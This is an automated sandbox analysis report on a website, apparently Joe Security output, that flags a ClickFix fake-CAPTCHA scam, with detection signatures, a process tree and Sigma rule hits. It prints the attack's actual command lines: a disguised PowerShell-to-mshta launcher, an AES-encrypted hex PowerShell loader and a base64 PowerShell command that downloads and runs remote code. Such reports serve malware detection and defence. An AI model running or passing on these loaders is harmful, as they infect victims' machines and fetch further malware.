Edit tour

Windows Analysis Report
http://annavirgili.com

Overview

General Information

Sample URL:	http://annavirgili.com
Analysis ID:	1573672
Infos:

Detection

CAPTCHA Scam ClickFix

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detect drive by download via clipboard copy & paste

Yara detected CAPTCHA Scam ClickFix

Connects to a pastebin service (likely for C&C)

Encrypted powershell cmdline option found

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious MSHTA Child Process

Suspicious powershell command line found

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTML page contains hidden javascript code

HTML page contains obfuscated script src

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Stores files to the Windows start menu directory

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64_ra

svchost.exe (PID: 7100 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

chrome.exe (PID: 5892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://annavirgili.com/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6684 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1984,i,16319034314027490977,6169393010866710073,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 1952 cmdline: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" . \*i*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*2\m??ta.??? https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1 # ? ''I am not a robot - reCAPTCHA Verification ID: 7126'' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 2628 cmdline: "C:\Windows\System32\mshta.exe" https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 5108 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function WXndL($cIxW){return -split ($cIxW -replace '..', '0x$& ')};$Ggxu = WXndL('7A5B64CCD96D57D64EFE4A812D2BC4BDE9AE1B1E7F65468F80EA3D5B60B7D7C15F2443A3E6237EAB1F9F3E91A5D835EB18A448CE892FC625BA5CB4E7734FA0B152E164A9AE08D0FEF9B18C700BA2C123C96722C862D347993D0AA1AF4AEEBDD9B33579FD0C0E3E8F4ED828B8EBE67830131A567BC4410ED3DE3DB182881AB06E5D1206E78F5AB5BC320CEB0CD1230E202D819C71580B2958CC5C0E8D1B8BD3370ED4F7231F1F5798BCD1F65460270B2E1E6ED59863C8B5F03F81A685BAD5E7B10E0FB9D1E708A9E5C024FA30DDC882FC492E0DF958455665B085A89C33E2271C0460170B1A544FCCC02AAD22554D5904FEDB87E26616ADC6815B78E3F211ECE66EE7D5818C58FD2367560D21420D5A870A96BF6813F16918FD2CAE995E81E5D5EEE764267ADB4E5F453DAC47D2AA762258E397C75CFF7333F5692FC5E25513BAC939EC2D35D580E47B773762AFA92B8C33B29E596DD3C52FB4B99790BC72803AD41F0A8088B6CBED15134D7A3795F91350D8363992E47BC33998786B02F2BC54DEADA79DA25CDD4E8456CDE732FF3D1BD51FFB619BBF4745E1D5B394630DE4C65145A4F40D54FC2FDFFF60DAC2370A34BE793B19A62E7BFB4C17185C1DC5324F37FFB32F313CB1BD87D5ED80FDE6998A2FA6EAE031759049B99236C74EBE0FCAA0366DFBD6D5203BB793793C30DD6C7711F139487A16F956DED2456E89DA6E8075E848518861F83E12FE6B6D9418FC30B86423F75566F6B84368C093B9C427A827CCA5508786A5C0C9C4FDC8098CF6F6387EF1B6779E7520FFA6CB54F1831F4AA87E12F048C0CF6F7626832EEACA8F18970723839BC8DF8E4A95B0792580CB979CFC7127742BFAC8575A87620516BE0330CEEEC026AE6DEF88079288ADA091993D6A1E4095B56E7A4972D51CC3305B770FFD659D6DF1A16842FAB38AB77C79C33863A3DDD3492894F183BE23A2F13E9B123C61AAA62EA17F6E370D5F5455BDCBE40447C979E2071A5E1C73DAB66505D5097B0CE259E3740A4D336C5D9D478B4BDD16372BC7EDFE1881DEA74E5B9CE7264F939FC71C1A404155682C546391908E072FABB77AFA55EF85CF8D463AF296CB5A97F75A04C27BB522CBD6647D3486CE6F1255A20C9F533CBB8E63861054920A4CAC251BCE2877D09D44209DF14F219EFB4C83461ED25DD05A3920BE2B123C394CC75C22C37A1CBE663656DBBC5E092E0B0019D2990501F5747EEBCB04B628410E9A300AEF287CFF0E6891F2F376C686F5FA861C85F88D563CE6DA2BAF185CC7C432FBC4291B50D6C71EC3AF86F793050E7DA9386849A66D23F884A8EBB084B1E52AFD97FC48ED50A9E6127344548B3E1D3FE46A9B700E23523933F2658A2E11359A7801DCFA20518A8C8ECFB897185694E264D854CE8307694F52B05B1F77A162CF1DD6266ACF5A7558C4494FF2E5B813EA6AA2F10A626FA53624CAEFB65B0BEBCCBCE907FC29AFF64D665F48576317019CB117E486DB9344CB12B5A4C8C99244F69A2C044F0C2B1E2C015323E6F2E9963937F86A2F610B470A787592B51B4A8A0AC1BEBCFBA6BDBBAE601BE25E9697ED1F1F6620B93F5E571C3E1A4F0E8C47093BF22DA12E6490B3AC878564D340B19F5614B1B063BD182E6D649D69AFD32FB57DDA451BB8764142FB0F42BE6E0189467BC1CB105D5FB522273E3782FDAA9E79D531A3BB879EA59043A20FED1EB60716386B9AAB98DC3EE64A1E470DA50DAC0026141747D5C0EED0044EC0D0915C02328F86F0BB7D373FB02861150AB1351E5702E10845E364532DF7DA550E8FADD43BC553C286B9362C8D94A1B01CBEED6A0696A644B4B1C4C07D01BE9FFFFE5E695FE16EEBAF8905BD570BE4B36D0F1C07D860553FBE42A1F44FEBF0A667E85D3544FE91FF701BE78DE167BB6758BB19538D1418D9B1403CFBD5C98DC579BAB71C1BA2BFB6A2ED52BC640E9E45881734D627572BBB24767BF9105E290AED4FD0AD07E069C341D94CD9D253482474A2AFEACE895331A6A7C2344244D9883CB83DB04E20F24E807A0C42FAD54148764C3B647F7B86743F03E946F8ABAA4037DF00724040C58C639B64617CEC513964C0AEB7450990964F332CA73B69AE563F357EFE71A45ADB76F5F1F74B9EA094EDB014AF7DE3832D006B489635D35933F45D8722789F646F6B34118D96044BF40BB9C6D5C235CC72225C1E2FF06D17FFCF3119AC497D69763C1EA4752D9DF918E3F7BC1F5DA270F722684C1062428E1B4B4DFAC9D4B8A3AA2FED312CDC55749F56329AABB058B493B229AFE6188C2CD6E5EF7D4615BAC6C376F0A1C60BE569EDE1D7D229C0A409E716C9881B8ED8A6AF7DFF8E51394FE00530F124BF25F72F1BB0C40D8756D4DC53C99C7706F76566458303AD17ABA13977CBB9D9E8E0D6A23C3AC29863BA5C05EC614C2DC13F1D86D3E8B6E32547054893B928DAF467A0E285FEB70CD8521F803FA7DCB6E68597E4F10DC19975F6A9FA3BB73D000E25D904399788A042CCB2A8ACEBC94D9F7176B6C42A8ADF53E078B0DB3D1DB4FA018C20200519D0C6BDAD8C667BC081BB6E98837F869A01FCB4F5BFA3FF6B9DA59A6CC6F14874D12DA9C94A924E23E1C9A2F10B24B2C808A191CAEF430B6BCCDB8ECC67C81EBDF1946F84922DD6237AD44AA75DAE5B417CBC7F1935089D115B32E7BEA92467DF4B34887940BE275A826DCBE8FBCD8572CF31DFF6137DA4FA652F60A4C96E8EE7084DF2015478E3BD67EDD0BDFB00AF09D7DE181E5AA043DE6F0FC38EB1345B172BB996F129E450352658040763C3FD33D898F576ED092EBE78EB3CE7A76AC530782DAFA0D77E713A4D141695047421A84E93C5C6879D829FA96C6E0E217D62FECC4DD0FB16426652883165B9360C91E805AD040FAF4EA2E2740FA5E9E6F3AE24428D754B4AB2A539E552C98664EEC4BE0178F55FEA933EF0A6B79A49D0F87E95E22DDD03EA3EDFBFAABE60356A7A00DA80A4B13179CF6AD7A4055AAFC41FD0B8B3D8EFA93BC1117E123BD77B17F73F8C6E2EE3D01BFDBEEC94A9522C0A1A5E63506CC7F53BB9BC8DF54090B9989982A1686806E7CBC8FFCDD27577A949E1959B8D7B4B07DD342D475CFBCCE589EECF4466070B9CA53B749253301F99A3C0084ABDFB98EB91E40D1B32895AAE86DCA9CA7B851F00477324B25F71DE93C8B9BB13C56A76F42A26ED97C0915187E6F5B6FC54C40843167185BE51622CE24F901B16B435C2DDA0A5401210B6984C5C3BE6C2335BE875BFAA261EB865AD3D047FBD55B975D9733284ABA3143900958E64193E0A4FAEB858C56D772D7108BA4829F9ECAB503E0C6BF8A807447723CA7C4417C128182FE0DC0B420E8B7C1B18A137C48E31AC0E4E723CF849010F8A2937C1D119B207B22A30AB798DB13ACF4BD7E3FEC18AE6693BBD9FFA6017F2BB4A8BCDE923FAD4066B7438E54189066A0E5BE7FD3EA4AD53AE465432AA738EF4A7176ED78829C803418AD7B3FFDF34DA80F24901748099068BAD20F0B6C75D5CBFAE57169CFA3A63A30790041DACF0733B7A61EA68B6DB4BAA3832C2FD159B1181AA974048F90B196471D825E638D56773F684475EB8211E807A21E574D6A5F63D923A169C4621973867E9B1FC18CC72C11E65C8077634918704FBDF878CAD8411014CA1319BCC88017DC5D930D43F0A3AB7E96D711475123876D8DF4F97924CAB0F392C26647152892055A197E9E15E9ADC078BFDF053C973F4F43CF80CC2846AC337DB1CDF4C600FB6B7F44919C555861CEBAD623302738419EF1F8C12A52E4B356B75E6B79DEBB7E9967E592F3D5F9BBEFEA63B88F6545FE25D9BE8AAF6640FC7F9A623282BD4A790F5BF18A8BE05A6D7860997549B97DA3E886EC6FF35A01AF07E844664A44EF19C5476FA04B41688491C9F8396B3D8BC34EF0AE26A77236FE6A64AEC24F73831D893CCC31663593FE27BE686C8BA');$LZbV=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((WXndL('61597869676545424D6F537659656151')),[byte[]]::new(16)).TransformFinalBlock($Ggxu,0,$Ggxu.Length)); & $LZbV.Substring(0,3) $LZbV.Substring(305) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 396 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwBHACoAZAAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQB8AEcATQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGMAbABpAGsAZQAnACoAbwBtACoAZQAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJwAqAC0AVAB5ACoAZQAnACwAMQAsADEAKQAsAFsATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBDAG8AbQBtAGEAbgBkAFQAeQBwAGUAcwBdADoAOgBDAG0AZABsAGUAdAApAC0ATABhACAAQwBTAGgAYQByAHAAIAAoAEwAUwAgAFYAYQByAGkAYQBiAGwAZQA6AC8ARQBtAGkAKQAuAFYAYQBsAHUAZQA7ACgAWwBnAE0AVwBJAHAARQBIAE4AVgBpAF0AOgA6AEQAdgBnAHkAaQBKAHgAdQBUAHQAKAAoAEcAVgAgAEIARgAgAC0AVgBhAGwAdQBlAE8AbgBsACkAKQApAHwAJgAoAEcASQAgAEEAbABpAGEAcwA6AEkARQAqACkA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 5944 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7752 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF57.tmp" "c:\Users\user\AppData\Local\Temp\CSC2CD5A3AC9BED45FD9C1F4AD4196788AE.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

xdd.exe (PID: 7896 cmdline: "C:\Users\user\AppData\Local\Temp\cb93f779-25b4-41a2-a992-79114e2e0d22\xdd.exe" MD5: 3A19C125224A2DB2843B2A22BFA6705F)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.2.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\mshta.exe" https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1, CommandLine: "C:\Windows\System32\mshta.exe" https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" . \*i*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*2\m??ta.??? https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1 # ? ''I am not a robot - reCAPTCHA Verification ID: 7126'', ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1952, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\mshta.exe" https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1, ProcessId: 2628, ProcessName: mshta.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function WXndL($cIxW){return -split ($cIxW -replace '..', '0x$& ')};$Ggxu = WXndL('7A5B64CCD96D57D64EFE4A812D2BC4BDE9AE1B1E7F65468F80EA3D5B60B7D7C15F2443A3E6237EAB1F9F3E91A5D835EB18A448CE892FC625BA5CB4E7734FA0B152E164A9AE08D0FEF9B18C700BA2C123C96722C862D347993D0AA1AF4AEEBDD9B33579FD0C0E3E8F4ED828B8EBE67830131A567BC4410ED3DE3DB182881AB06E5D1206E78F5AB5BC320CEB0CD1230E202D819C71580B2958CC5C0E8D1B8BD3370ED4F7231F1F5798BCD1F65460270B2E1E6ED59863C8B5F03F81A685BAD5E7B10E0FB9D1E708A9E5C024FA30DDC882FC492E0DF958455665B085A89C33E2271C0460170B1A544FCCC02AAD22554D5904FEDB87E26616ADC6815B78E3F211ECE66EE7D5818C58FD2367560D21420D5A870A96BF6813F16918FD2CAE995E81E5D5EEE764267ADB4E5F453DAC47D2AA762258E397C75CFF7333F5692FC5E25513BAC939EC2D35D580E47B773762AFA92B8C33B29E596DD3C52FB4B99790BC72803AD41F0A8088B6CBED15134D7A3795F91350D8363992E47BC33998786B02F2BC54DEADA79DA25CDD4E8456CDE732FF3D1BD51FFB619BBF4745E1D5B394630DE4C65145A4F40D54FC2FDFFF60DAC2370A34BE793B19A62E7BFB4C17185C1DC5324F37FFB32F313CB1BD87D5ED80FDE6998A2FA6EAE031759049B99236C74EBE0FCAA0366DFBD6D5203BB793793C30DD6C7711F139487A16F956DED2456E89DA6E8075E848518861F83E12FE6B6D9418FC30B86423F75566F6B84368C093B9C427A827CCA5508786A5C0C9C4FDC8098CF6F6387EF1B6779E7520FFA6CB54F1831F4AA87E12F048C0CF6F7626832EEACA8F18970723839BC8DF8E4A95B0792580CB979CFC7127742BFAC8575A87620516BE0330CEEEC026AE6DEF88079288ADA091993D6A1E4095B56E7A4972D51CC3305B770FFD659D6DF1A16842FAB38AB77C79C33863A3DDD3492894F183BE23A2F13E9B123C61AAA62EA17F6E370D5F5455BDCBE40447C979E2071A5E1C73DAB66505D5097B0CE259E3740A4D336C5D9D478B4BDD16372BC7EDFE1881DEA74E5B9CE7264F939FC71C1A404155682C546391908E072FABB77AFA55EF85CF8D463AF296CB5A97F75A04C27BB522CBD6647D3486CE6F1255A20C9F533CBB8E63861054920A4CAC251BCE2877D09D44209DF14F219EFB4C83461ED25DD05A3920BE2B123C394CC75C22C37A1CBE663656DBBC5E092E0B0019D2990501F5747EEBCB04B628410E9A300AEF287CFF0E6891F2F376C686F5FA861C85F88D563CE6DA2BAF185CC7C432FBC4291B50D6C71EC3AF86F793050E7DA9386849A66D23F884A8EBB084B1E52AFD97FC48ED50A9E6127344548B3E1D3FE46A9B700E23523933F2658A2E11359A7801DCFA20518A8C8ECFB897185694E264D854CE8307694F52B05B1F77A162CF1DD6266ACF5A7558C4494FF2E5B813EA6AA2F10A626FA53624CAEFB65B0BEBCCBCE907FC29AFF64D665F48576317019CB117E486DB9344CB12B5A4C8C99244F69A2C044F0C2B1E2C015323E6F2E9963937F86A2F610B470A787592B51B4A8A0AC1BEBCFBA6BDBBAE601BE25E9697ED1F1F6620B93F5E571C3E1A4F0E8C47093BF22DA12E6490B3AC878564D340B19F5614B1B063BD182E6D649D69AFD32FB57DDA451BB8764142FB0F42BE6E0189467BC1CB105D5FB522273E3782FDAA9E79D531A3BB879EA59043A20FED1EB60716386B9AAB98DC3EE64A1E470DA50DAC0026141747D5C0EED0044EC0D0915C02328F86F0BB7D373FB02861150AB1351E5702E10845E364532DF7DA550E8FADD43BC553C286B9362C8D94A1B01CBEED6A0696A644B4B1C4C07D01BE9FFFFE5E695FE16EEBAF8905BD570BE4B36D0F1C07D860553FBE42A1F44FEBF0A667E85D3544FE91FF701BE78DE167BB6758BB19538D1418D9B1403CFBD5C98DC579BAB71C1BA2BFB6A2ED52BC640E9E45881734D627572BBB24767BF9105E290AED4FD0A

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function WXndL($cIxW){return -split ($cIxW -replace '..', '0x$& ')};$Ggxu = WXndL('7A5B64CCD96D57D64EFE4A812D2BC4BDE9AE1B1E7F65468F80EA3D5B60B7D7C15F2443A3E6237EAB1F9F3E91A5D835EB18A448CE892FC625BA5CB4E7734FA0B152E164A9AE08D0FEF9B18C700BA2C123C96722C862D347993D0AA1AF4AEEBDD9B33579FD0C0E3E8F4ED828B8EBE67830131A567BC4410ED3DE3DB182881AB06E5D1206E78F5AB5BC320CEB0CD1230E202D819C71580B2958CC5C0E8D1B8BD3370ED4F7231F1F5798BCD1F65460270B2E1E6ED59863C8B5F03F81A685BAD5E7B10E0FB9D1E708A9E5C024FA30DDC882FC492E0DF958455665B085A89C33E2271C0460170B1A544FCCC02AAD22554D5904FEDB87E26616ADC6815B78E3F211ECE66EE7D5818C58FD2367560D21420D5A870A96BF6813F16918FD2CAE995E81E5D5EEE764267ADB4E5F453DAC47D2AA762258E397C75CFF7333F5692FC5E25513BAC939EC2D35D580E47B773762AFA92B8C33B29E596DD3C52FB4B99790BC72803AD41F0A8088B6CBED15134D7A3795F91350D8363992E47BC33998786B02F2BC54DEADA79DA25CDD4E8456CDE732FF3D1BD51FFB619BBF4745E1D5B394630DE4C65145A4F40D54FC2FDFFF60DAC2370A34BE793B19A62E7BFB4C17185C1DC5324F37FFB32F313CB1BD87D5ED80FDE6998A2FA6EAE031759049B99236C74EBE0FCAA0366DFBD6D5203BB793793C30DD6C7711F139487A16F956DED2456E89DA6E8075E848518861F83E12FE6B6D9418FC30B86423F75566F6B84368C093B9C427A827CCA5508786A5C0C9C4FDC8098CF6F6387EF1B6779E7520FFA6CB54F1831F4AA87E12F048C0CF6F7626832EEACA8F18970723839BC8DF8E4A95B0792580CB979CFC7127742BFAC8575A87620516BE0330CEEEC026AE6DEF88079288ADA091993D6A1E4095B56E7A4972D51CC3305B770FFD659D6DF1A16842FAB38AB77C79C33863A3DDD3492894F183BE23A2F13E9B123C61AAA62EA17F6E370D5F5455BDCBE40447C979E2071A5E1C73DAB66505D5097B0CE259E3740A4D336C5D9D478B4BDD16372BC7EDFE1881DEA74E5B9CE7264F939FC71C1A404155682C546391908E072FABB77AFA55EF85CF8D463AF296CB5A97F75A04C27BB522CBD6647D3486CE6F1255A20C9F533CBB8E63861054920A4CAC251BCE2877D09D44209DF14F219EFB4C83461ED25DD05A3920BE2B123C394CC75C22C37A1CBE663656DBBC5E092E0B0019D2990501F5747EEBCB04B628410E9A300AEF287CFF0E6891F2F376C686F5FA861C85F88D563CE6DA2BAF185CC7C432FBC4291B50D6C71EC3AF86F793050E7DA9386849A66D23F884A8EBB084B1E52AFD97FC48ED50A9E6127344548B3E1D3FE46A9B700E23523933F2658A2E11359A7801DCFA20518A8C8ECFB897185694E264D854CE8307694F52B05B1F77A162CF1DD6266ACF5A7558C4494FF2E5B813EA6AA2F10A626FA53624CAEFB65B0BEBCCBCE907FC29AFF64D665F48576317019CB117E486DB9344CB12B5A4C8C99244F69A2C044F0C2B1E2C015323E6F2E9963937F86A2F610B470A787592B51B4A8A0AC1BEBCFBA6BDBBAE601BE25E9697ED1F1F6620B93F5E571C3E1A4F0E8C47093BF22DA12E6490B3AC878564D340B19F5614B1B063BD182E6D649D69AFD32FB57DDA451BB8764142FB0F42BE6E0189467BC1CB105D5FB522273E3782FDAA9E79D531A3BB879EA59043A20FED1EB60716386B9AAB98DC3EE64A1E470DA50DAC0026141747D5C0EED0044EC0D0915C02328F86F0BB7D373FB02861150AB1351E5702E10845E364532DF7DA550E8FADD43BC553C286B9362C8D94A1B01CBEED6A0696A644B4B1C4C07D01BE9FFFFE5E695FE16EEBAF8905BD570BE4B36D0F1C07D860553FBE42A1F44FEBF0A667E85D3544FE91FF701BE78DE167BB6758BB19538D1418D9B1403CFBD5C98DC579BAB71C1BA2BFB6A2ED52BC640E9E45881734D627572BBB24767BF9105E290AED4FD0A

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwBHACoAZAAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQB8AEcATQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGMAbABpAGsAZQAnACoAbwBtACoAZQAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJwAqAC0AVAB5ACoAZQAnACwAMQAsADEAKQAsAFsATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBDAG8AbQBtAGEAbgBkAFQAeQBwAGUAcwBdADoAOgBDAG0AZABsAGUAdAApAC0ATABhACAAQwBTAGgAYQByAHAAIAAoAEwAUwAgAFYAYQByAGkAYQBiAGwAZQA6AC8ARQBtAGkAKQAuAFYAYQBsAHUA